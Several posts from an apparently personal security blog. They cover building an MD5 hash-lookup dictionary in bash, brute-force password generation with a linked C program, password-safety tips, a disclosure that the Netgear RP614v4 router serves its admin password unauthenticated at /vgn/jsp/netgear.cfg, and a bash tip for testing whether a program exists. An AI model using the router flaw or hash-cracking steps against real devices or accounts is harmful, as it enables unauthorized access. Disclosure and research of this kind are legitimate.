#!/zitstif.no-ip.org/

If you’re ever put in a situation where you need to assess the strength of passwords that may be stored in an md5sum, there are a few options you have:

There are numerous websites for cracking md5sums such as:

http://passcracking.com

The simple way I assess how these websites is by searching for a very simple md5sum that can be generated via:

echo password | md5sum -;

Also, you could just merely, google the md5sum and see if you can find the unciphered text. That being said, the point of this post though, is to generate an md5sum hash dictionary. Let’s look at a simple word list.

cat wordlist.txt | head 
aaaaa
aaaab
aaaac
aaaad
aaaae
aaaaf
aaaag
aaaah
aaaai
aaaaj

We will then, use a for loop and append the output of each iteration, to a file simply by doing:

for i in `cat wordlist.txt`; do echo ${i} >> hashdict.txt; echo ${i} | md5sum - >> hashdict.txt; done

Now in our hashdict.txt file, we have our unciphered text and then on the next line, it’s md5sum equivalent. Ergo, if we want to look up a hash some and find the unciphered text, we could do as follows:

egrep --before-context=1 '4ab36a961cd2198e4a49915f820db5c0' hashdict.txt
aaaae

We have now found out that ‘4ab36a961cd2198e4a49915f820db5c0’ is equivalent to ‘aaaae’.

Similarly, if we wanted to find md5sum equivalent of ‘aaaae’ , we could use the list, or just simply do:

echo aaaae | md5sum -

I’ll have more to come. In the next few days, I’m going to work on my ‘ettersploit’, idea.

Passwords, who doesn’t have at least one password that they can think of? We rely on them dearly for our sake of privacy and keeping information confidential. However, passwords can be guessed via dictionary attacks and even by brute forcing.

Brute forcing passwords is not the most efficient way of gaining access to an account during an audit or pentest, say in the case of network authentication.

Despite traditional ways of bruting passwords by using one single core (or even multi-core) processor, which isn’t the most efficient way, distributed computing is now the way of the future and is more of a realistic way to perform brute force attacks.

One great example of this currently in practice (at a small cost). Individuals now have access to bruting WPA passwords via:
http://www.wpacracker.com/

I decided to write a program in C, as just a mere fun task. The program will generate password combinations in letter character ranges from 4 characters long to 10 characters long. I chose this range, due to reading this:
http://www.schneier.com/essay-144.html

My program (which is located here:)
http://zitstif.no-ip.org/c/bruteme.txt

will cover 94.92% of passwords according to this study, however there is one caveat, I did leave out the ‘space’ character, in the array of characters.

Bear in mind, that the longer the password, the longer it takes to come up with the combination. I wrote this just as more of a simple PoC.

Users who want to keep their accounts secure, that rely on password authentication should keep this in mind:

*   Use long passwords that you can remember
*   Don’t write down your password or store your password in a clear text file.
*   Don’t use the same password over and over
*   Do not share your password with others
*   If you can, use special characters, but make sure you can remember your password.
*   Do not use easily guessable passwords
*   Be very careful of what secret questions you use if you ever have to reset your forgotten password
*   Try to change your passwords on a regular interval
*   Do not do any remote authentication in public wireless networks
*   Have multiple e-mail accounts, one that is for purchasing things online, and one for other matters

You might ask yourself, “Why should I not do any remote authentication in public wireless networks?”. I advise this because most public wireless networks I’ve encountered, have taken no precautions to prevent ARP poisoning. If you use VPNs or SSH tunneling, you’ll mitigate your risks, but I would still advise to not do authenticating in public networks.

One possible risk of relying on SSH tunneling, is giving away your server’s public IP (via means of ‘side channel attacks’). This could potentially make your server a target for various other attacks. Along with that, there is also the risk of SSH downgrade attacks. (I believe I’ve posted a link to this before: http://openmaniak.com/ettercap_filter.php)

Also for possible attacks / risks on VPN networks, have a look at this:
http://my.safaribooksonline.com/1931841810/ch10lev1sec260#X2ludGVybmFsX0ZsYXNoUmVhZGVyP3htbGlkPTE5MzE4NDE4MTAvMjUxJmltYWdlcGFnZT0yNTE=

As for multiple e-mail accounts, I believe this is a great precaution for the case of if you have one account breached. This way the attacker won’t have access to all the other accounts to reset passwords. However, this depends on how you have your e-mail accounts set up, so do be careful.

More to come…

Website/Company: http://zitstif.no-ip.org
E-mail: zitstif[at]gmail.com

Name: Kyle Young

Device: Netgear RP614v4
Firmware version: v1.1.2_09.01
Firmware release date: November 2009
HTTP service: Boa HTTPd 0.93.15
Exploit release date: Wednesday March 24, 2010

Default router credentials:
username: admin
password: password

Scope: Local/Remote

Vulnerability:

The Netgear RP614v4 is susceptible to an end user making a request for the netgear.cfg file which is located at:

http://[RouterIP]/vgn/jsp/netgear.cfg

This file, is a plain text ASCII file that contains the router’s password at line 216, which looks similar to this:

http_passwd=myvulnerablepassword

You don’t have to authenticate to obtain this file at all.

The qualm with this exploit is that, it works in the LAN that the router is on, or even remotely over a WAN, that is if the remote administration
option is enabled and the default port for this is 8080.

PoC: http://zitstif.no-ip.org/rp614v4/rp614v4exploit.txt

Additional notes:

After discovering this vulnerability, I’ve noticed with other routers that have http based administration, is that you can make requests for config files without authenticating. However, this does not always work and at times the config file is obfuscated.

From my experience, most of the config files for routers are in a binary format and can be viewed with a program like ‘bvi‘. At times, you can view credentials to the device and also PPPoE credentials.

I’m reporting this vulnerability to securityfocus.com, due to the lack of support on Netgear’s end.

For those of you who are into shell scripting, and want to know what in my opinion is the best way to test for whether programs exist or not, pay close attention.

In my humble opinion, the best way to test for the existence of a program, is to test the exit code of the previous command in an if loop.

Firstly, if you run a command that doesn’t exist, the exit code will always be ‘127′. If you don’t want to see the output of the command while testing for it, then just simply redirect all the output to /dev/null .

idontexist &> /dev/null

echo $?

127

Now, a friend suggested using this method for testing for programs in bash:

idontexist &> /dev/null || echo "You don't have 'idontexist'"; exit 1;

There are a few qualms with this. Firstly, depending on the program, if the program does not exit with the exit code of ‘0’, your shell script will then state ‘You don’t have ‘idontexist’ and then exit. However, you might actually have the program! Some programs exit with non-zero exit codes if you pass no arguments to them or even if you pass a ‘-h’ for a help argument to it. Also, since the echo statement is being terminated via the semicolon, ‘exit’ will then be executed. Ergo, this method looks great for just being a one liner, but if I want to test for the existence of a program, and if it doesn’t exist, and then exit with an error message displayed to the user, I highly suggest my following method:

idontexist &> /dev/null;

if [[ "$?" == "127" ]];
 then
     echo "'idontexist' appears to not be installed, check your PATH variable"; exit 1;
fi

More to come…